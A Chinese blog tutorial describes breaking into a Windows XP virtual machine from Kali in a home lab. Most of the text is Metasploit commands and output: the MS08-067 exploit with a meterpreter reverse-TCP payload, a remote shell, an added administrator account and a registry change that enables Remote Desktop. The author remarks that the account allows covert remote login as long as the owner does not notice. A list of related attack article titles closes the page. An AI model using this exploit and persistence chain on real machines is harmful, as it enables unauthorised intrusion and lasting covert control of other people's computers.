因为我是一个爱好和平的人(捂嘴笑),所以就在虚拟机中,创建二个系统,一个kali,一个windows xp,来进行这次入侵实验,以此迈入hacke的大门。


####实验环境 ![实验环境.jpg](http://upload-images.jianshu.io/upload_images/4976516-daae4fea5636c8d4.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

####试验工具 kaili linux 百度百科 其预装了许多试验工具,包括nmap 、Wireshark 、John the Ripper ,以及Aircrack-ng.[2] 用户可通过硬盘、live CD或live USB运行Kali Linux。
Metasploit 百度百科 Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。


###知识点综述 1.0 熟悉虚拟机vmware的相关知识,因为本环境是在VM中进行的,需要安装kaili linux和windows xp,以及设计虚拟机网络,其可以参考文章:[vmware14.0知识点手册](http://www.jianshu.com/p/91c409b8ce79). 2.0 计算机网络相关知识点。 **2.1 vmware的虚拟网络** >与物理交换机相似,虚拟交换机也能将网络连接组件连接在一起。虚拟交换机又称为虚拟网络,其名称为VMnet0、VMnet1、VMnet2,以此类推。有少量虚拟交换机会默认映射到特定网络。

桥接模式网络连接 桥接模式网络连接通过使用主机系统上的网络适配器将虚拟机连接到网络

NAT 模式网络连接 使用 NAT 模式网络时,虚拟机在外部网络中不必具有自己的 IP 地址。主机系统上会建立单独的专用网络。

仅主机模式网络连接 仅主机模式网络连接可创建完全包含在主机中的网络。

2.2 IP(这里是ipv4)地址分类,网络类型。

ip地址,由《net-id,host-id》二部分组成。根据网络号的位数,把ip划分为A,B,C,D,E几大类,其中A类(0,127),B类(128,191),C类(192,223)

3.0 VMWare虚拟机提供的桥接、nat和主机模式的区别

所以本次试验的虚拟机网络采用桥接方式,所以主要介绍下桥接。
bridged(桥接模式) 在这种模式下,VMWare虚拟出来的操作系统就像是局域网中的一台独立的主机,它可以访问网内任何一台机器。 在桥接模式下,因为是独立的主机系统,那么就需要为虚拟系统配置IP、子网掩码。 使用桥接模式的虚拟系统和宿主机器的关系,就像连接在同一个Hub上的两台电脑。想让它们相互通讯,你就需要为虚拟系统配置IP地址和子网掩码,否则就无法通信。而且还要和宿主机器处于同一网段,这样虚拟系统才能和宿主机器进行通信。


###重要细节 1.0 **因为在vmware模拟kaili入侵windows xp所以要保证这二台虚拟机可以通信,试验的vmware采用桥接网络,二台虚拟机相当于独立的主机,在vmware想要通信,必须处于同一网段(就是网络号要一样),二台主机设置kaili设置为192.168.201.133,windows xp设置为192.168.201.135,它们是C类ip,前3位是网络号,都是192.168.201相同,可以通信,可以采用ping命令进行。** 2.0 **为了试验效果明显,最好关闭掉windows的防火墙,这样入侵更容易,而且自己原本的主机把杀毒软件也关闭了。**


###入侵开始 **1.0 查看linux的ip地址** ``` root@kali:~# ifconfig eth0: flags=4163 mtu 1500 inet 192.168.201.133 netmask 255.255.255.0 broadcast 192.168.201.255 inet6 fe80::20c:29ff:fecc:87cf prefixlen 64 scopeid 0x20 ether 00:0c:29:cc:87:cf txqueuelen 1000 (Ethernet) RX packets 30 bytes 2530 (2.4 KiB) RX errors 0 dropped 5 overruns 0 frame 0 TX packets 51 bytes 3303 (3.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 52 bytes 3756 (3.6 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 52 bytes 3756 (3.6 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

>**这里可以看出我的ip地址为192.168.201.133。如果想要修改ip地址可以采用 ifconfig eth0 192.168.201.136 命令**<br>
**其中127.0.0.1 127.0.0.1是[回送地址](https://baike.baidu.com/item/%E5%9B%9E%E9%80%81%E5%9C%B0%E5%9D%80),指本地机,一般用来测试使用。回送地址(127.x.x.x)是本机回送地址(Loopback Address),即[主机](https://baike.baidu.com/item/%E4%B8%BB%E6%9C%BA)IP[堆栈](https://baike.baidu.com/item/%E5%A0%86%E6%A0%88)内部的IP地址,主要用于网络软件测试以及本地机[进程间通信](https://baike.baidu.com/item/%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1),无论什么程序,一旦使用回送地址发送数据,协议软件立即返回,不进行任何网络传输。****2.0 ping命令,测试linux和windows是否可以通信**
复制代码

root@kali:~# ping -c 2 192.168.201.135 PING 192.168.201.135 (192.168.201.135) 56(84) bytes of data. 64 bytes from 192.168.201.135: icmp_seq=1 ttl=128 time=13.5 ms 64 bytes from 192.168.201.135: icmp_seq=2 ttl=128 time=0.395 ms

--- 192.168.201.135 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 0.395/6.986/13.578/6.592 ms

**linux的ping和windows有所不同,如果不设置次数会一直ping下**去。
复制代码

root@kali:~# ping Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination

**3.0 开启SQL数据库服务**
复制代码

root@kali:~# service postgresql start

**4.0 终端执行msfconsole 命令**
复制代码

root@kali:~# msfconsole

cowsay++


< metasploit >

   \   ,__,\  (oo)____(__)    )\||--|| *=[ metasploit v4.16.6-dev                          ]
复制代码
  • -- --=[ 1682 exploits - 964 auxiliary - 297 post ]
  • -- --=[ 498 payloads - 40 encoders - 10 nops ]
  • -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
>**使用help命令查看其参数和用法**
复制代码

msf > help

Core Commands

Command       Description
-------       -----------
?             Help menu
banner        Display an awesome metasploit banner
cd            Change the current working directory
color         Toggle color
connect       Communicate with a host
exit          Exit the console
get           Gets the value of a context-specific variable
getg          Gets the value of a global variable
grep          Grep the output of another command
help          Help menu
history       Show command history
irb           Drop into irb scripting mode
load          Load a framework plugin
quit          Exit the console
route         Route traffic through a session
save          Saves the active datastores
sessions      Dump session listings and display information about sessions
set           Sets a context-specific variable to a value
setg          Sets a global variable to a value
sleep         Do nothing for the specified number of seconds
spool         Write console output into a file as well the screen
threads       View and manipulate background threads
unload        Unload a framework plugin
unset         Unsets one or more context-specific variables
unsetg        Unsets one or more global variables
version       Show the framework and console library version numbers
复制代码

Module Commands

Command       Description
-------       -----------
advanced      Displays advanced options for one or more modules
back          Move back from the current context
edit          Edit the current module with the preferred editor
info          Displays information about one or more modules
loadpath      Searches for and loads modules from a path
options       Displays global options or for one or more modules
popm          Pops the latest module off the stack and makes it active
previous      Sets the previously loaded module as the current module
pushm         Pushes the active or list of modules onto the module stack
reload_all    Reloads all modules from all defined module paths
search        Searches module names and descriptions
show          Displays modules of a given type, or all modules
use           Selects a module by name
复制代码

Job Commands

Command       Description
-------       -----------
handler       Start a payload handler as job
jobs          Displays and manages jobs
kill          Kill a job
rename_job    Rename a job
复制代码

Resource Script Commands

Command       Description
-------       -----------
makerc        Save commands entered since start to a file
resource      Run the commands stored in a file
复制代码

Database Backend Commands

Command           Description
-------           -----------
db_connect        Connect to an existing database
db_disconnect     Disconnect from the current database instance
db_export         Export a file containing the contents of the database
db_import         Import a scan result file (filetype will be auto-detected)
db_nmap           Executes nmap and records the output automatically
db_rebuild_cache  Rebuilds the database-stored module cache
db_status         Show the current database status
hosts             List all hosts in the database
loot              List all loot in the database
notes             List all notes in the database
services          List all services in the database
vulns             List all vulnerabilities in the database
workspace         Switch between database workspaces
复制代码

Credentials Backend Commands

Command       Description
-------       -----------
creds         List all credentials in the database
复制代码
**5.0 运行search netapi命令搜索netapi,在metasploip框架中列出所有与netapi相关的漏洞利用代码**
复制代码

msf > search netapi

Matching Modules

Name Disclosure Date Rank Description


exploit/windows/smb/ms03_049_netapi 2003-11-11 good MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow exploit/windows/smb/ms06_040_netapi 2006-08-08 good MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption

>**可以看到最后一个漏洞利用代码的评级为great,所以优先使用ms08_067_netapi。**
**show tagrgets可以查看攻击平台**
**show opinions可以查看攻击需要设置那些参数**
**show payloads可以查看使用的攻击载荷****6.0使用 use exploit/windows/smb/ms08_067_netapi ,设置参数**
复制代码

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set rhost 192.168.201.135 rhost => 192.168.201.135 msf exploit(ms08_067_netapi) > check [+] 192.168.201.135:445 The target is vulnerable. msf exploit(ms08_067_netapi) > set lhost 192.168.201.133 lhost => 192.168.201.133 msf exploit(ms08_067_netapi) > set target 34 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp_allports payload => windows/meterpreter/reverse_tcp_allports

msf exploit(ms08_067_netapi) > exploit [] Started reverse TCP handler on 192.168.201.133:1 [] 192.168.201.135:445 - Attempting to trigger the vulnerability... [] Sending stage (179267 bytes) to 192.168.201.135 [] Meterpreter session 1 opened (192.168.201.133:1 -> 192.168.201.135:1031) at 2017-10-27 23:03:20 +0800

>**set rhost是设置目标主机ip**
**setset lhost设置本机ip**
**set payload设置攻击载荷**
**exploit,是实行攻击,如果成功,会得到一个session,可以使用meterpreter模板进一步提取****7.0 输入shell,获取受控zhuji的shel,我这里是windows的dos。**
复制代码

meterpreter > shell Process 1968 created. Channel 1 created. Microsoft Windows XP [锟芥本 5.1.2600] (C) 锟斤拷权锟斤拷锟斤拷 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user ztg 123456 /add net user ztg 123456 /add 锟绞伙拷锟窖撅拷锟斤拷锟节★拷

锟斤拷锟斤拷锟斤拷 NET HELPMSG 2224 锟皆伙拷锟矫革拷锟斤拷锟侥帮拷锟斤拷锟斤拷

C:\WINDOWS\system32>net localgroup administrators ztg /add net localgroup administrators ztg /add 锟斤拷锟斤拷系统锟斤拷锟斤拷 1378锟斤拷

锟斤拷锟斤拷锟绞伙拷锟斤拷锟斤拷锟角憋拷锟斤拷锟斤拷锟侥筹拷员锟斤拷

C:\WINDOWS\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

锟斤拷锟斤拷锟缴癸拷锟斤拷锟斤拷

C:\WINDOWS\system32>netstat -an netstat -an

Active Connections

Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING TCP 192.168.201.135:139 0.0.0.0:0 LISTENING TCP 192.168.201.135:1031 192.168.201.133:1 ESTABLISHED UDP 0.0.0.0:445 :
UDP 0.0.0.0:500 :
UDP 0.0.0.0:4500 :
UDP 127.0.0.1:123 :
UDP 127.0.0.1:1025 :
UDP 127.0.0.1:1900 :
UDP 192.168.201.135:123 :
UDP 192.168.201.135:137 :
UDP 192.168.201.135:138 :
UDP 192.168.201.135:1900 :

C:\WINDOWS\system32>ipconfig -all ipconfig -all

Windows IP Configuration

    Host Name . . . . . . . . . . . . : dflxPrimary Dns Suffix  . . . . . . . : Node Type . . . . . . . . . . . . : UnknownIP Routing Enabled. . . . . . . . : NoWINS Proxy Enabled. . . . . . . . : No
复制代码

Ethernet adapter 锟斤拷锟斤拷锟斤拷锟斤拷:

    Connection-specific DNS Suffix  . : Description . . . . . . . . . . . : VMware Accelerated AMD PCNet AdapterPhysical Address. . . . . . . . . : 00-0C-29-04-23-53Dhcp Enabled. . . . . . . . . . . : NoIP Address. . . . . . . . . . . . : 192.168.201.135Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . :
复制代码
>**进入windows界面,dos大神可以畅通无阻了,不过如果喜欢windows界面,可以安装上面的方法,进行操作,在远程桌面。**
```C:\WINDOWS\system32>net user ztg 123456 /add
net user ztg 123456 /add
复制代码

添加一个用户名为ztg,密码123456

C:\WINDOWS\system32>net localgroup administrators ztg /add
net localgroup administrators ztg /add
复制代码

把ztg添加到管理员用户组

C:\WINDOWS\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
复制代码

是手动开启3389(远程桌面连接端口)


>#####在利用远程桌面,登陆别人的电脑,进行相关的操作了。告诉你一个小细节,在目标机中会出现你建立的管理员账号喔,可以多少远程登录了,只要对方没有发现。 **有没有人来黑我一下啊(捂嘴笑)。我的ip:127.0.0.1,系统是windows 10 64位家庭版。** >哎,这几天没有跑步,今天早上终于跑了,感冒了一整个十月,现在还在感冒中,哭死,哭死。

kali入侵windows相关推荐

  1. Kali入侵Windows主机

    一.测试环境 Kali Linux 172.16.11.222 Windows主机 172.16.11.230 二.木马生成 在 Kali 终端输入以下命令生成木马文件QQ.exe msfvenom ...

  2. Kali社会工程学套件入侵Windows

    通过Kali系统自带的社会工程学套件制作基于Windows系统的恶意感染设备(SET.MSF.INF文件利用) MSFconsole一款不错的入侵渗透环境可以通过制作木马或者是漏洞利用去入侵计算机系统 ...

  3. 渗透测试-Kali入侵Win7主机

    前言 严正声明:本文仅限于技术讨论与分享,严禁用于非法途径. 本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制木马,然后感染局域网内的 Win 7主机,从而 ...

  4. 网络安全-木马入侵windows -msfvenom反弹shell(CMD)

    网络安全-木马入侵windows -msfvenom反弹shell(CMD) 前言 一,我也是初学者记录的笔记 二,可能有错误的地方,请谨慎 三,欢迎各路大神指教 四,任何文章仅作为学习使用 五,学习 ...

  5. Kali及Windows安装和使用OpenVPN

    Kali及Windows安装和使用OpenVPN 起因 在学习过程中,因为要使用OpenVPN进行靶场的访问,在Windows中要使用的工具太多,一个个安装及其不方便,所以索性就直接在Kali里面安装 ...

  6. Kali生成windows木马程序

    此文章为kali生成windows木马程序,进行的后渗透测试.此操作仅供虚拟机测试,请勿使用于非法途径. 一.生成windows执行木马程序 -p windows/x64/meterpreter/re ...

  7. 利用kali Linux使用meterpreter制作免杀木马测试入侵windows电脑

    前言:常规使用meterpreter制作木马时会被各大杀毒软件所拦截,固本文介绍一下利用meterpreter下的Venom制作免杀木马. 首先安装Venom Venon克隆地址:https://gi ...

  8. Windows安装下Kali入侵网站的思路

    First!windos下先安装kali和wsl工具开启Hyper-v虚拟化服务才能正常使用 下载一个认证的加速才能正常安装某软的产品,其他链接UsbEAm Hosts Editor [多平台host ...

  9. 网络安全初学者工具安装:Kali,Windows xp虚拟机,pikachu靶场,burpsuite安装配置,phpstudy安装(学习笔记)

             摘要 在互联网发展的时代背景下,网络安全成为了越来越不可忽视的重要领域,为此,各国都采取了维护网络安全的举措,对于网络安全人才的需求不断增大,我国作为世界上最多使用计算机人口的国家, ...

最新文章

  1. 何为 Serverless 架构模式?这 5 大场景来告诉你!
  2. 【Linux入门连载二】Linux系统有哪些基本目录?
  3. typedef的详细用法
  4. 【多线程高并发】深入浅出可见性
  5. hadoop(05)、使用Eclipse连接远程Hadoop集群
  6. CUBA平台–新的Java企业应用程序框架
  7. [html] H5的哪些特性需要https支持呢?
  8. 变量 常量 作用域和命名规范
  9. 【笔记】HybridApp中使用Promise化的JS-Bridge
  10. python自动修图_有码变高清!AI修图PULSE一秒还原马赛克
  11. 【Elasticsearch】Elasticsearch bouncing result 问题
  12. 令仔代码收藏系列(二)----BASE64编码
  13. 无法卸载和重装photoshop CS3 的解决办法
  14. 计算机技术与电气工程专业代码,电气工程及其自动化专业代码:080601 [本科]
  15. 实现电脑同时上内网和外网(或通过外网访问到该电脑通过该电脑访问内网)
  16. ERROR: Cannot uninstall ‘PyYAML‘. It is a distutils installed project and thus we cannot...
  17. 亚洲的音乐史料及其历史研究状况
  18. uniapp(H5) + signalr 制作的简单的卡牌游戏
  19. 深入浅析Service Workers
  20. css 中英文换行的相关写法

热门文章

  1. 新人新博客新学习家园
  2. Python接口自动化实战 ( 第一阶段) - 封装接口请求类和异常处理
  3. yd的拔钉子之路之 POI 2017
  4. 从壹开始前后端分离【 .NET Core2.2 +Vue2.0 】框架之六 || API项目整体搭建 6.1 仓储+服务+抽象接口模式...
  5. Django自带的加密算法及加密模块
  6. 柱状折线图2-双柱状重合堆积折线-重写图例点击事件
  7. Python全栈之路Day13
  8. CSharpGL(43)环境映射(Environment Mapping)-天空盒(Skybox)反射(Reflection)和折射(Refraction)...
  9. JSTL标签之核心标签
  10. ubuntu 12.04 配置vsftpd 服务,添加虚拟用户,ssl加密